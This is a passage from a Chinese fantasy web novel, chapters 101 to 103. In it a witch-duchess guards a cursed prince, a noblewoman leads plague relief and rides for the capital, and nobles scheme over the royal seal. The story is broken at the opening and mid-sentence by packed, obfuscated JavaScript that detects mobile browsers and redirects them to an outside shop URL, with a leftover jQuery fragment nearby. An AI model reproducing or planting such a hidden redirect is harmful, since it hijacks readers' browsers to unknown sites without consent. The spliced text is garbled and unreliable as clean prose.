d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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黑巫师用剑是杀不死的,艾洛薇有些疲惫地坐在落灰的床上。床上闭目沉睡的正是安德鲁,他面容上的脓包已经扩散至整个胸膛。 这么看着,挺考验人的勇气的,艾洛薇觉得自己还是不够勇敢,只看了两眼飞快转移了视线。 不小心杀过头了,没来得及询问教会的人想对安德鲁做些什么,艾洛薇难得自我反省了两秒。 她随手抓了团黑雾过来,“嘿,你们想对安德鲁做什么?” 黑雾当然不可能回答她,剩下的黑雾挣扎着涌出了房间。要不了多久他们就会重新汇聚成人形,当务之急是远离这个女煞神。 但不幸的是,他们被禁锢在了一道法阵之中,离出口只余几步之遥。 艾洛薇提着剑缓缓走来,“奇怪,你们教会是怎么想到来玛丽的宫中布阵的,难道你们从不担心一位女巫住所里会不会布有防御法阵吗?” “啊,我明白了,玛丽最后那段时日里太虚弱了,让你们误以为她不过是个半吊子女巫。” 众多黑影扭曲缠绕在一起,这种场面在闪电中显得十分诡异,但更诡谲的是艾洛薇脸上的微笑,“我,真的很讨厌有脏东西进到玛丽的住所。” 耀眼的白芒划破黑暗,艾洛薇启动了这座宫殿里最强的防御法阵。炫目的光彩甚至照亮了半边王宫,引得众人纷纷抬头望向此方向。 米凯坐在人体铺成的坐垫上休息,老实说铠甲硬邦邦的坐着挺不舒适的,但他实在懒得站着。 他仰头笑道:“死丫头,搞这么大动静。” 郊外的女巫,也目睹了这片光亮,靠着树休息的女巫呢喃:“是玛丽——” 被囚禁在教堂塔尖的阿方索也被这刺目的白光吸引,他先是一愣,随即听到教堂内部传来一阵兵荒马乱,明白这大概是行动失败了。 “也不知教皇冕下现在是什么表情,一定很精彩吧。”阿方索不由自主笑出声。 “是神迹!”宫中还醒着的女仆和侍卫,控制不住朝光亮的方向跪拜,她们的动静吸引了伊丽莎白。 伊丽莎白打开窗,任由雨水打在她的脸上,她眼中脑中都只余下这绚烂的光彩。 下一刻她踉跄着拿过画板和笔,迫不及待描摹起来,过往的焦虑不安,在这个瞬间烟飞云散,她只想将奇迹永存于画纸之上。 “小姐,今晚有极光!太不可思议了!”安娜遥指着天空。 克劳拉从繁琐的公文里抬头,粉色的天空中,黄绿色流光隐隐闪烁。星河在其中流淌。 她看得入神,浑然不觉安娜已经替她将文书收好,蜡烛熄灭。 等她反应过来时,安娜已经做好一切,催促她睡觉。 “总感觉有什么大事要发生了。”克劳拉站在窗边,朝着遥不可及的星空伸手,“艾洛薇要是再没有消息,我就要亲自回王都了。” “您还是先休息吧,养好精神最重要。”安娜过来将窗户关好,窗帘拉上,用行动催促。 克劳拉顺从地回到床上,目送安娜离开,“晚安,安娜。” “晚安,小姐。” 艾洛薇在床边坐了一晚上,也不知道自己现在是什么模样,一定糟糕透了。 干涸的雨水和血水凝固着扒在她身上,头发也乱七八糟。 至少看到她的狮鹫骑士各个吓破了胆,安静收拾好卧房尸首,如有野兽追逐般逃离。 不过,安德鲁这副模样比她可怖多了。 安德鲁沉睡的时间里,艾洛薇想了很多乱七八糟的事,感觉时间过得相当漫长。 “童话里每次都是王子拯救公主,我想那些作者估计没见过你吧。每次都等着我来救,笨蛋王子,不仅笨连貌美也丝毫不挨边。” 艾洛薇被自己逗笑,抱着一只膝盖望着窗外的天。下了几天的大雨终于停了,乌云隐隐有了消散的痕迹,要不了多久就可以看到太阳。 如果明天安德鲁醒不来,她就去抄了教堂。 如果后天醒不来,她就带兵攻打圣城。 反正不会有永远醒不来这种可能性。 晨曦终于突破了云层,撒向大地。安德鲁的睫毛微颤,从漫长的梦境中苏醒。 即使逆着光,他也认出了床边的身影——是艾洛薇,为什么她会清晨出现在他的床头,或许还是在梦境之中。 但是艾洛薇不给他再闭眼的机会,强行爬过来撑开他的眼皮,直直望进他的眼底。 “看样子还有自我意识。”艾洛薇神色一松,“早安,安德鲁。” 啊,原来不是做梦。 102. 第102章 尽管治愈药方已经研制出来了,通常来说只要及时服用,在脓包长到鹅蛋大小前都能救下来。 但巫师塔还在细致透彻地剖析这种疫病,不时有已死亡的躯体送入塔内。 “白珠数量有限,二级药方只能顶一段时间,我们必须即刻研究出无需白珠的配方。”布莱尔一直是研究的主导人,她就像她的化身那样,是纯粹的不死鸟。 亲身尝试了多种药方,甚至不惜用自己的身体感染疫病。 克劳拉被她这种做法震撼,“您……您是大巫,完全不至于做到这个程度啊。” 布莱尔扫一眼克劳拉,就知道自己又被误会为那种无私奉献、心怀万物的圣女了,经常有年轻女巫这么误会她。 “您想得太复杂了,这种诅咒也好疫病也好,都会成为我身体的养分,让我变得更强。没有把握的东西我不会轻易尝试。” 只是天生走的道路不同而已,布莱尔可不想被人误以为她是多么伟大的人。 这样解释毫无作用,克劳拉目光还是暗含敬佩,默默砸钱给她们配上最好的一切。 算了,布莱尔放弃解释,专注于研究。 巫师塔确实比女巫岭更适合研究,至少这些器皿她想换多少有多少。不像在女巫岭时,坏了就得求达索琳给她修,而达索琳通常要拖上十天半个月。 时间一晃飞快,已经步入了7月。从德林郡发现第一例患者到现在四个月,除开最初两个月死亡人数过多,现在已经完全控制住,服用药水后的患者也逐渐痊愈。 领地刚一恢复秩序,农田里立刻出现了大批农民劳作的身影。甚至不少农民半夜偷偷闯入领主的庄园,帮她犁田种地。 这些领民不知道如何报答克劳拉,只能默默为她种粮。 克劳拉哭笑不得,“7月份才种,10月份就要入冬了,这些粮种根本来不及成熟吧。” 不过地豆倒是成长时间足够,克劳拉索性取消今年的麦粮税收,改收地豆,只收两成。 医院骑士团足足购入了万支药水,但德林郡产能不够,只能分批次给他们,不得不和西亚尔玛那边一同合作量产。 所幸克劳拉最初就考虑过这种情况,整个郡学校里的学生或多或少都会简单处理草药,只需要给他们一些铜币,这些学生处理得又快又好,再汇集至女巫处熬制。 再后来又改良做成一个个药包,由骑士团自己用热水泡开喂给患者,根据病症程度决定喝几次。 药包大大降低了运输成本,也降低了制作时间成本。之后只需要扩大生产规模,等布莱尔大巫研究出第三种药方后,就可以推广整个帝国。 “小姐,你又偷偷把吃不完的食物喂罗杰和黛比!”克劳拉偷偷喂猫,被雪莉抓了个正着, “我说她们越来越胖了!还以为是怀孕了!” 克劳拉不喜欢喝青豆汤,尤其是厨娘放太多香料的情况下,比起菜汤她更偏爱些能长肌肉的食物。 当然最近几个月因为粮食紧促香料已经放得很少了,克劳拉放心将这些喂给伊登的猫。 雪莉回来以后比安娜更严格监督她的三餐。若是在用餐期间,想要向克劳拉汇报工作,除非是紧急情况,都会被雪莉拦下。 一直到确认克劳拉用完餐后,雪莉才会准许其他人进入。 克劳拉还听到雪莉教导安娜和其他女仆: “小姐一旦说慢慢吃或者待会吃,那绝对是不想吃,你们什么都不用说,只用直勾勾盯着她就好。不过她实在不喜欢,剩下的食物,就得记得叮嘱厨娘下次不要再做” 克劳拉:…… 算了,反正她在雪莉这里基本没有太多话语权,从小都是这样。 难得的安宁日子,克劳拉格外珍惜,她心中隐隐预感不久后又要有一段忙碌的时日。 想要逃离德林郡的那群人,不久后又重新想要回来,菲米娅可不惯着这群人,让士兵弄了些简陋的帐篷给他们居住。 “其他郡领民随意叛逃可是要被打成奴隶的,你们该庆幸阁下足够仁慈。”亚克对群人也没太多好脸色。 观察几周如果没有染病,就让他们劳作改造三个月才准回去,还要找他们收取税收。 想要绕过士兵偷溜回郡中的人,都会被杀死,雪鸮骑士们斩杀了几个不安分的以儆效尤。 同时大量外郡的平民想要涌入德林郡。连多年前投靠其他领主的那位子爵都想重新效忠德文希家,他被子爵领的疫病弄得焦头烂额,结果发现隔壁德林郡一片安详。 “他有个女儿,之前加入过德林军,后来子爵叛离后,女儿也离开了军队。”骑士汇报着这位男爵的情报,连他入赘女婿的情况都摸得一清二楚。 德林军一直没有禁止女性加入,不过近十多年几乎没有女兵,还是克劳拉回到领地后,才逐渐有女性因为高福利加入。 “那就让他女儿重新回德林军,做人质吧。” 这个子爵虽然人品不怎么样,领地管理得还算不错。女儿十多年前在德林军也算小有成就,克劳拉翻阅了一下记录,当年连蒂斯萝丝都夸赞过这位女士。 只是子爵的领地又是被教会把持十多年,女儿只能在家相夫教子,最后入赘了位骑士。 “他的女儿孕有三个孩子……”骑士欲言又止。 克劳拉眉一皱,“两个大男人,全府上下这么多仆人,带不好三个孩子?反正你们将我的条件带到就好,要么女儿加入德林军,要么按贵族价格花钱买药剂。” 不多时,克劳拉又改口,“等等,她自身也不愿意就算了,那就换两个孩子过来当人质,德文希家也不是什么人都能归顺的。” 骑士飞快离开,他在德林郡三年,很快也要做父亲了,实在害怕克劳拉也逼他带孩子。 克劳拉继续处理未看完的信件,艾洛薇和阿方索还是失联状况,甚至派去保护阿方索的女巫也失去了联系。 德林郡这边情况基本已经稳定,克劳拉准备启程回王都,伊登这次不会跟随她一起。 尽管德林北那边事情已经到了尾声,但他还要去和莫兰特汇合,接手诺兰郡。 赫利斯的来信只有寥寥几句话,但透露出克劳拉请求她的事已经完成,且没有被其他人察觉。 克劳拉松了口气,拿起笔写回信,告知最近要离开德林郡前往王都一事。 还有玛格丽特的来信,大都是分享一些领地日常管理。但在信的结尾,她提到此前她们在西亚尔玛大学遇到的那位老教授,希望能拜访巫师塔。 那位教授当初为克劳拉提供了一些便利,克劳拉考量了片刻,反正巫师塔有法阵,就让他过来,看看他想要做些什么。 最后才拆开伊登的来信,果然是一堆乱七八糟的日常分享,连露营睡觉帐篷里进熊这种事都要大写特写——等等,确实是一件比较致命的事情。 既然还能给克劳拉写信,说明人还活着,克劳拉勉强对他表达了问候,再次催促他立刻启程诺兰郡,替老朋友管理领地。 既然准备启程王都,克劳拉着手开始安排离开后的各种事宜。 雪鸮骑士是肯定要跟随她离开的,还要带上五百骑兵。剩下的德林军足够保护领地了。 就算教会趁机攻打德林军,也有女巫们的武器,让他们感受一下新式武器,正好还未对活人使用过,一直只用于巨魔。 才休息几天的姐妹会成员也要跟随。达索琳会留在德林郡,但她为克劳拉安排了十多位战斗型女巫,叮嘱克劳拉对教会黑巫师不要留任何情面。 总感觉达索琳大巫一副“是时候让教会消失了”的表情,克劳拉选择默默为教会默哀。 最后是和菲米娅的交接工作,除了她,克劳拉不信任其他人能全心全意管理德林郡。 佩妮跟在菲米娅身边三年,如今自信稳重了许多,据说最近在和城中一位商人之子暧昧。 克劳拉倒没想阻止佩妮恋爱结婚,但佩妮是她的妹妹,是德文希家的人,她之前预想的是在她和伊登离开德林郡后,将这边交到佩妮手中。 不是单纯的管理,而是让她成为新的家主。 所以在将托付给菲米娅的事安排妥当后,她对佩妮道:“佩妮,你是德文希家的主人,不是代管者。所以自己把控好结婚对象,不是什么男人都能入赘德文希家。多挑几个,总归德林郡是不缺男人的。” 佩妮瞬间红了脸,嗫嚅半天,“还没到那个地步……” 菲米娅的表情相当精彩,起初简直不敢相信克劳拉会说这种话,很快又坦然接受了,毕竟这三年里克劳拉离经叛道的事实在不算少。 只是让妹妹多挑几个男人,已经不算什么了。 两人都神色恍惚离开了,心中却各有所思。 晚餐终于不是青豆汤,而是地豆甜汤,克劳拉努力保持微笑,“所以为什么地豆会是甜汤。” “因为黛比和罗杰不爱吃甜的东西。”雪莉幽幽道。 “难道我就爱吃吗……”话虽这么说,在年轻厨娘眼泪汪汪的攻势下,克劳拉含恨吃得一干二净。 幸好雪莉和萨曼会留在德林郡,等布莱尔大巫研制出第三版药剂后,才会离开跑商。 不然克劳拉不敢想她每天都要吃撑会多难受,有一种饿叫雪莉觉得你饿。 不过克劳拉也清楚,是因为她总是三餐不规律,雪莉才会为了她的健康严防死守。能怎么办,自己选的贴身女仆,再怎么样也得溺爱。 原计划要三天后才会动身离开,给足跟随她离开的人和家人告别的时间。 但弗洛伦斯的加急信,让克劳拉必须要提前出发。 古斯塔一世染上了疫病,且药剂并未起作用。 古斯塔在军队大发脾气,砍杀了不少骑士士兵,甚至威胁姐妹会拿不出治好他的药就一起砍杀。 姐妹会的大家都被吓得不知所措,若不是弗洛伦斯顶在最前面,古斯塔也保有一些理智,记得她是霍德华侯爵的孙女。 隐在姐妹会的阿德涅大巫也附来了手信,古斯塔并不是疫病,而是诅咒,尽管症状几乎一模一样。她需要解咒的材料,希望能尽快送达。 附信立刻交由达索琳大巫准备,克劳拉召集众人,即刻出发。她与医院骑士团达成了另一项协议,很快医院骑士团也会跟上她的步伐。 行囊装卸完成,彻底离开时已经是半夜。克劳拉不由得想到三年前也是么一个夏天的夜晚,她回到德林郡。 当时的她还在迷茫自己真的能够改变命运吗,如今的她无比确信,命运的天平已经向她倾斜。 回望城堡时,城墙上出现了很多她预想不到的人,老祭司、大巫、菲米娅、雪莉和萨曼、佩妮还有众多女巫。 克劳拉朝她们挥手告别,这些都是她的后盾,能让她一往直前。 等途经村庄时,黑暗之中亮起了一簇簇火把,骑士们心中微紧,看清是附近村民的面孔后,才稍稍放下心。 “领主大人!地豆多带点走吧!其他郡的地豆可种不了我们这么大!” “领主大人!注意可别生病了,外头听说可怕着呢。” “瞎说什么呢你,领主还能生病呢?” 领民们你推我搡的,乱哄哄的声音让静谧的夜晚显得不那么空荡。 玛农抱着莉莉挤出了人群,克劳拉抬手让骑士不要阻拦。 莉莉强忍着睡意,奋力地睁大眼睛,想要看清克劳拉的脸庞,她含糊道:“领主大人,您还会回来吗?” “当然,这是我的领土,我只是暂时要去王都居住一段时间。” “那我长大了,也能去王都吗?” “莉莉长大了想去哪都可以,去外国、去其他大陆,只要你想——当然都要经过母亲的同意。” 被提及的玛农只是眼含骄傲与宠溺地注视着她的孩子。 莉莉年纪太小,还不能完全理解这些话,她将怀揣了一整天的花枝拿出,努力伸手递到克劳拉手中。 是一丛欧丁香,开得正好的时候。 克劳拉郑重地接过,“谢谢你,莉莉,我很喜欢。” “再见,领主大人!”莉莉朝克劳拉挥舞着手臂,声音却因为困意而变得低落。 “再见莉莉。”克劳拉也轻声应答,她望着火光中照映着一张张质朴的脸,扬起笑容,“大家都回去吧,太晚了。好好休息,好好吃饭,才不会生病。” 但村民们固执地举着火把,要为他们照亮道路。 克劳拉没有强求,等她离开了,领民自然会回去。她将花枝交由身后的安娜保管,一扬缰绳,马匹飞驰向前,将暖光落在身后。 但连绵的火把未曾断绝,每经过一座村庄,入目就是万千火光。 “这是特意等我们经过吗?” “别多想,不是我们,是专等阁下!” 克劳拉瞥一眼身后交谈的骑士,下令加速离开,好让这些领民早些离去。 三年前她和伊登争执时,曾说过这些领民都是她的责任,如今她也如此坚定地认为。 她已经拥有足够承担起权力和责任的勇气。 “所以你治不好?” 医者跪倒在地,即使害怕得身躯颤抖,也依旧摇头否认。 “滚吧!”艾洛薇已经数不清这是多少个医者了,每一个都说治不好。 安德鲁自从清醒后,就一直忍受着这些上半身传来的阵痛,反复疼晕过几次。 只能虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603143|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱地躺在床上,无力动弹,“够了,洛薇,不要再叫医者了。” 重新梳洗的艾洛薇,又恢复了她往日公爵小姐的优雅动人,如果忽略她脸上恨不得乱杀的表情的话。 “实在不行,我让人把你送去德林郡。王都的事先放着,回头再来收拾这帮猪猡。” 可惜昨晚那两位女巫自身难保,现在艾洛薇也不知道她们身处何处,不然也能缓解一下安德鲁的痛苦。 安德鲁摇头,即使是这么微弱的动作幅度,也会牵扯到痛处,“不能离开王都,等陛下回来。” 昨天的事他心中大概有数,最多明天,那群心怀鬼胎的大臣就会涌入宫中。借口为他分担,实则如蝗虫一般,分夺利益。 “洛薇,你离开王都吧。”他说,“回公爵领也好,去找克劳拉也好,王都要乱了,我未必能护住你。” 艾洛薇脸上出现明晃晃的疑惑,“王子殿下,你在说什么?到底是谁在保护谁?” 听到安德鲁短促地笑了一声,她又尝试凝视安德鲁的脸,实在受不了还是选择放弃,瞥开视线道: “放心吧,我还留了一手,那群家伙以为陛下和霍恩·温斯顿不在,王都就是他们的天下,哪有这种好事。” 幸好莱文·温斯顿那小贱种已经死了,若不然那群家伙还要利用他做什么文章。 安德鲁欲言又止,他没照镜子,尽管不知道现在的自己是什么模样,但艾洛薇脸上直白的不忍直视和心里浓郁的嫌弃,让他有些受伤。 艾洛薇喜欢的该不会只有他的脸?王子殿下难得患得患失起来。 “我得走了,你的骑士会好好照顾你。”教会不会善罢甘休,艾洛薇需要派人监视教会的行动,尤其还得试试能找到那两位女巫吗。 没有挽留,安德鲁早已经习惯她这样,随意地离开,随意地施舍一点爱意。 骑士长这时才敢来到王子身边,之前废宫里的血色狼藉给他造成了一定冲击,让他暂时不敢面对艾洛薇。 “殿下,之后的安排?要和教会那边……” 骑士长说着有些底气不足,教会那些黑巫师防不胜防,他们都只是普通人,还是会有些畏惧。 但只要殿下需要,他们可以时刻做好牺牲准备。 “暂时按兵不动。如果我失去意识,一切听从洛薇的安排。”安德鲁说话间,身体又一阵剧烈的疼痛,让他的额角都渗出了冷汗,身体一阵痉挛。 他这幅模样,让骑士长脱口而出:“不如将准王子妃殿下请回王都——她会有办法对付黑巫师!连碧安卡那么厉害的黑巫师都被她伏诛。” 对付单独的黑巫师,和一群黑巫师还有众多圣殿骑士概念是不同的,安德鲁不认为克劳拉可以解决王都的麻烦。 他咬牙一字一句道:“去禀告陛下——让陛下回都。” 骑士长立刻领命,想要召集女仆进来照顾安德鲁。 但安德鲁希望能独自一人待着,不想让多余的人见到他的丑态。最终只有几名骑士入内,站在房间的四角,不靠近中心。 这两天一直乌云沉沉,没有下雨,天气也不算太好。 艾洛薇低调地离开了王宫,没有引起任何人的注意。 骑马走在大街,即使王都进出管控,也依旧没影响大街小巷的繁华。 街上还是车马往来,人头涌动。尤其教堂,进出的人马络绎不绝。 人们对暗处发生的一切一无所知,如往日般过着普通的日子。 教堂就在王都大门左侧,艾洛薇在广场驻足了片刻。 “最近阿方索大主教总是不接待信徒,是回圣城了吗?” “我好不容易来一趟王都,可不就是为了瞻仰大主教阁下,唉。” 两位穿戴朴素的女士从艾洛薇身边路过,她们的交谈声很轻,但艾洛薇听了个正着。 阿方索也不在王都?没有情报显示阿方索离开了,总不能也是偷偷传送离开了? 艾洛薇心下闪过几丝怀疑。 很快她勒马离开,回到公爵府。 刚踏入大门,执事上前将马匹牵走,女仆长上前耳语:“夫人想要见您一面。” 艾洛薇神情有细微的变化,脱去斗篷,快步走进室内,“让她等会,至少等用完晚餐后。” “夫人想现在就见到您——”女仆长急急地追上她。 “大小姐,才回来呢?用完我就丢?”米凯趴在楼梯处,站姿全然不见贵族礼仪地跟艾洛薇打招呼。 艾洛薇皱眉看他眼,回头吩咐女仆长:“告诉她我很忙,等我和米凯谈完事再去见她。” 说着她不想听女仆长任何话,转而吩咐其他女仆去准备她沐浴的水和用品。 “米凯,让我们商量商量你的事。” 米凯是她留的底牌,目前得安抚住他,不能让他跑了。 米凯无谓耸肩,他算是看出来了,在这个关头艾洛薇非让他来王都,甚至不惜加钱,就是为了这一天。早知道这么多麻烦,就不来了。 没等两人登上二楼,门外的执事忽然叫住艾洛薇, “小姐!您的信使回来了——” 事情总挤在一起,让人没有喘息的机会,艾洛薇命女仆领着米凯先去二楼书房等候,她得先去看看信使到底怎么回事。 门外执事与女仆们的神色都不太正常,甚至隐隐带上了忌惮,脚步也微微后撤。 等到艾洛薇见到信使,就明白他们为何这副表情。 信使蹒跚着跌落下马,脸色惨白,半张脸上尽是黑色的疽,而另半张脸完好无损。 露在外面手部已经全然发黑发硬,如同被魔鬼俯身一般,令人作呕。 艾洛薇第一反应是他是怎么进城的?这幅样子排查的士兵绝不会允许他进来。但他偏偏出现在了王都,还回到了公爵府。 往前的脚步一顿,艾洛薇高呼着侍卫。 “救救我……艾洛薇小姐……外面已经……” 信使话未说完,跌倒在地,如濒死的鱼般抽搐着吐血,几个呼吸间,他失去了所有声息。 身后的执事一阵眩晕,吓得失去意识,现场乱成一团,侍卫想要将尸体拖走。 “别动!”艾洛薇厉声道,“就这么将他烧死!他已经被恶魔俯身,即刻烧毁!” 这不是恶魔俯身,艾洛薇当然知道,她必须这么说,才能有正当理由烧毁尸体。 这绝对是克劳拉曾经提到过的疫病——看上去和安德鲁的情况很像,但安德鲁绝对不是生病。 教会到底在弄些什么,艾洛薇心中隐隐想到某种可能。 从未对任何事情感到恐惧的她也不禁四肢冰凉,这座王城,数十万人,她该怎么救下? 103. 第103章 “古斯塔一世转向了?” “是的,南边卢尹帝国突然发难,古斯塔转而向南边征兵进军。” 这可不是个好消息,克劳拉原计划两天内快马加鞭追上大军,先带走一部分姐妹会成员。 待在古斯塔身边已经不再安全。 而现在大军南下,克劳拉又要往王都的方向,她实在不放心王都的情况。 最主要的是,教会就像是想把古斯塔拖住,不让他回王城一般。 而恰好这位陛下因为染病被治愈后,变得极端不理智。全然没考虑军粮与士兵是否会染上病疫,执意南下。 骑士们还在等待她的下一步命令,是追随大军,还是直奔王都。 克劳拉迟迟无法作出决定。 下午时分,医院骑士团和她们汇合,这群打扮怪异的鸟嘴骑士,一路上引来了众多关注。 “准王子妃殿下,日安。”维达摘下了面具,他似乎有些好奇克劳拉的队伍为何能够不做任何防护,行走在这片旷野。 “女巫的小手段而已。”克劳拉为他介绍队伍里的一众女巫,之前他们接触的女巫安娜也在其中。 女巫们同样黑袍笼罩,与医院骑士们就差一个鸟嘴面具。即使看不清面容,也能从她们身上察觉到不善的气息。 维达讪笑着,决定让队友与女巫保持距离。 “啊!对了,贾斯给您的信件,他忙得脱不开身,让我带给您——您怎么和他认识的。” 贾斯居然通过他来给克劳拉送信,看来在贾斯认为维达可以信任。 克劳拉不动神色地套话,询问贾斯在忙些什么,手里一刻不停地拆开信件。 “又快到主教巡游的时候了,这次贾斯被任命监督巡游。”维达似乎在回忆是哪位主教,“这两年新任命的红衣大主教,是谁来着……” “阿方索阁下。”他的属下为他补充。 圣城里大主教实在太多了,光是红衣大主教就有七位,更别提驻守各个教区的,维达记不住很正常。 “红字大主教要巡游各国,不仅仅是辖区内巡游。” 他还想说些什么,但克劳拉满脸凝重的打断他,“这封信,贾斯什么时候递交给你的?” 维达一愣,他也忙昏了头,下意识道:“上次和您会谈第二天。” 那已经过去了近一周了,克劳拉即刻将信收好,翻身上马,命令众骑士。 “准备启程,直奔王都!” 维达追问:“不前往军营吗?我们之前约好的与各个领主交涉……” 此前维达与克劳拉商议,希望利用她准王子妃的身份,命令各领主为他们救助平民大开方便之门。 约定好的事克劳拉确实不好反悔,但前往王都更重要,因为贾斯的信件中只有一句话:王都出事,速归。笔触很着急,看得出情况紧急。 联想到失联的王都众人,克劳拉必须以最快的速度赶往王都。 “亚克。”克劳拉将象征王室的纹章交给出列的亚克,“点五十位骑兵,你跟他们一起。” 亚克不会背叛安德鲁,将纹章交给了,由他代表王室和领主交涉足以。 姐妹会成员很多都不会骑马,克劳拉让能够熟练骑马的跟上队伍,其他在蕾莱的带领下暂时和医院骑士行动,又安排了一半女巫。 “这是姐妹会最好扬名的时机。”知道克劳拉担忧她们,蕾莱笑着说,“您说过我们要作出自己的选择,那这就是我们的选择。” 在她身后,年轻女孩们的脸庞闪烁着坚毅,这是她们自己抉择的道路,并愿意为此奋斗。 克劳拉被这份决心感染,她将手置于胸口,朝姐妹会行礼致谢,“诸君王都再见。” 没有大巫在,剩余的女巫无法使用传送阵,只能快马加鞭赶路。 希望还来得及,王都还没有被那群丧心病狂的黑巫师毁灭。 安德鲁的身体状况一直不见好转,他几天未曾露面,心怀鬼胎的家伙蠢蠢欲动。 王都里大大小小拥有上千名官员,但最高级官员不过百人,常驻宫廷之中的更是少之又少。 这天议政厅外聚集了众多大臣,这些贵族集体罢工,聚在一起请求确认王子的安危。内务总管只能派人将狮鹫骑士长请过来。 “殿下已经三天未曾露面了,温斯顿阁下也一直闭门不出,我们是否可以认为两位皆遭遇了意外?” “让我们见殿下!我们怀疑教会把持了王宫!挟持了殿下!” “未必是教会,温斯顿阁下这个时间消失相当微妙,陛下何时回王都?” 骑士长面沉如水,按照艾洛薇的吩咐将大臣们的发言与神情逐一记在心中。尤其要注意瓦兰许侯爵的动作。 不多时瓦兰许侯爵按耐不住,上前与骑士长交涉:“殿下如今情况未知,不如让我们见见殿下,好安心继续为陛下为殿下分忧。” 他似乎打定主意安德鲁如今情况严重无法见人,也或者见面后又会有其他动作。 骑士长不敢用安德鲁的性命赌,只冷漠地拦下众人,“教会前两日为殿下解咒,殿下现今正修养,不可面见他人。” 瓦兰许早有预料,他直奔目标,“既然陛下不在,温斯顿公爵又身体抱恙,这国玺……” 古斯塔一世若不在王都,国玺通常由温斯顿公爵担任掌玺大臣,两位皆不在王都,则由大法官阿方索代掌。 自从碧安卡一事后,国玺又交到安德鲁手中,而如今他也身体抱恙。 “若是没有国玺,我们办事也有诸多不便,王都各项事务都需要确认,若再这样下去王都难以维持正常运转——能否请求殿下确认代掌人。” 瓦兰许侯爵作为宫务大臣,主要负责宫廷各类文书颁发、任命官员、以及作为国王与下治官员间沟通的枢纽。 本身相当于国王的代言人,若是让他掌管国玺,内阁将会成为他的一言堂。 这就是瓦兰许侯爵的目的吗,骑士长在心中盘算着,若不选择瓦兰许,就只有教会主教掌玺,但教会更不可控。 几位将军也不可干涉这方面,若是被误导反而不好。骑士长踌躇着,面对瓦兰许和他爪牙的步步紧逼只能表示要询问殿下。 这时几位保皇派也逐渐回过味,瓦兰许似乎目的不纯。 这些大臣虽然都直属于陛下,在话语权上却还是有细微区别。尤其瓦兰许这幅有恃无恐的模样,让部分大臣隐隐忌惮,决定明哲保身。 有人想要趁机偷溜走,前往温斯顿公爵府,或是寻找其他能制得住瓦兰许的人,但被国王骑士带侍卫拦了个正着。 大臣们哪还不明白瓦兰许的不轨之心,纷纷对他怒目而视。瓦兰许索性不再隐藏自己,大摇大摆地和几位国王骑士攀谈。 瓦兰许对势在必得,古斯塔一世恐怕无法活着回到王都,苟延残喘的安德鲁也不顶事。 等他拿到,再和教会合作,靠着圣殿骑士步步将王都军权夺过来,霍恩·温斯顿死了更好,活着回来也无力回天。 回到安德鲁卧房的骑士长头都大了,其他狮鹫骑士询问他怎么办。 骑士长望着仍然处于昏迷状态的安德鲁,颓然道:“拖,拖到艾洛薇小姐过来。” 年轻的狮鹫骑士们不理解为什么不直接武力镇压,反正几位留守的将军又没有叛变。 “教会那边情况不明,既然他们将瓦兰许推出来,就是为了名正言顺掌握国玺。”骑士长这会难得思路清晰起来,“或许他们在忌惮别的什么人。” “总之不能让就这么落到瓦兰许手中,一旦我们发起武装冲突,教会那边即刻会反扑,我们不清楚教会的手段,最好还是按兵不动。” 一直没有等到骑士长的瓦兰许侯爵,咬牙准备带人直奔安德鲁寝宫。 部分官员不愿意跟随,痛斥着他的狼子野心,直言陛下已经在回来的路上,迟早会让他付出代价。 “我只是想为殿下分忧,何来狼子野心。况且陛下如今已经带兵南下,一时半会回不来王都,我也是为了王都的众民。” 瓦兰许说得大义凛然,他话语中的笃定,让众人心中一沉,古斯塔一世南下恐怕是事实,但他们为何没有收到任何消息。 “侯爵阁下消息真是灵通,陛下刚转向,您就得到了消息,如此关心陛下,不愧是大臣中的表率。” 大厅里忽然传来陌生的年轻女声,诸大臣闻声望去,窃窃私语议论着来人的身份。 “这是谁?怎么能随意进入王宫?” “似乎是斐迪南家的三女。” 瓦兰许从他们的讨论中了解了不过是个公爵之女,心中微硬气,摆出一副威严的模样:“这里不是女人可以踏入的地方,看你年纪还小……怎么是你!” 等他见到艾洛薇身后那人时,所有话语卡在喉咙中—— “真热闹啊,诸位聚在这里,是为了欢迎我吗?”米凯敷衍地朝大臣们脱帽礼。 他逐个向戒备他的国王骑士打招呼,“好久没回王都了,没想到诸位还是这么热情。听说你们在讨论国玺的事,我会代掌。就不劳瓦兰许阁下费心了。” 米凯·古斯塔,古斯塔一世的同父异母的弟弟,于古斯塔一世杀死私奔的公主与老二后,从王都消失不见。数十年间显少在王都露面,瓦兰许都以为他死在外头了。 从身份上来讲,他掌玺再合适不过。 到嘴的果实被人截取,瓦兰许阴鸷的目光死死盯住米凯,最终国王骑士在他耳边低语几句,他主动退让,一言不发回到办公处。 米凯示意其他官员也继续处理事务,不要妄图惹事。议政大厅的众人很快四散开来,连国王骑士都飞快跑没影,不愿和米凯起冲突。 “恐怕他们绝不会善罢甘休。”艾洛薇语气平淡,因为米凯的出现,反而没有人在意她了。 米凯一本正经道:“得加钱。” 艾洛薇冷哼,随手一扔就是一袋金币。 米凯没有数,愉悦地塞进怀中,艾洛薇就是这点好,给钱大方得很,不然两人也不会合作那么多年。 “现在让我们去探望一下我那卧病在床,不能自理的侄子。” “你一个人去,我就不了。”艾洛薇只是跟随米凯来一趟王宫,米凯其人若不好好盯着他,确保他进入宫中,半路就会逃走,“这几天你先待在王宫,不要外出。” 她不想见到那个样子的安德鲁,况且还有其他事要做。 而且昨天信使的模样,让她隐隐猜到了教会想搞些什么鬼,她决定先去教堂试探一番,随即出发去找克劳拉。 晚上一步,王都将沦为人间炼狱。 “要去找你的合作伙伴求救吗?”想到克劳拉,米凯提起了几分兴致,那位一看也和艾洛薇同样是不安分的性格。 米凯真的很期待这两个女人能把王都,把教会搅成什么样——越乱越好。 